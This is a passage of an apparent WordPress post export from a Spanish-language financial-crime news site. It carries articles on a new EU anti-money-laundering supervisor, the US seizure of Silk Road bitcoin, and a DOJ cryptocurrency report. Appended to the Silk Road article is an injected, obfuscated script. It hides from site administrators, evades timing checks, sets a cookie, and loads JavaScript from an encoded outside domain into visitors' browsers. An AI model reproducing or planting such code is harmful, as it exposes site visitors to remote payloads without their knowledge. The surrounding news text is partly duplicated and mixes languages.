regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan 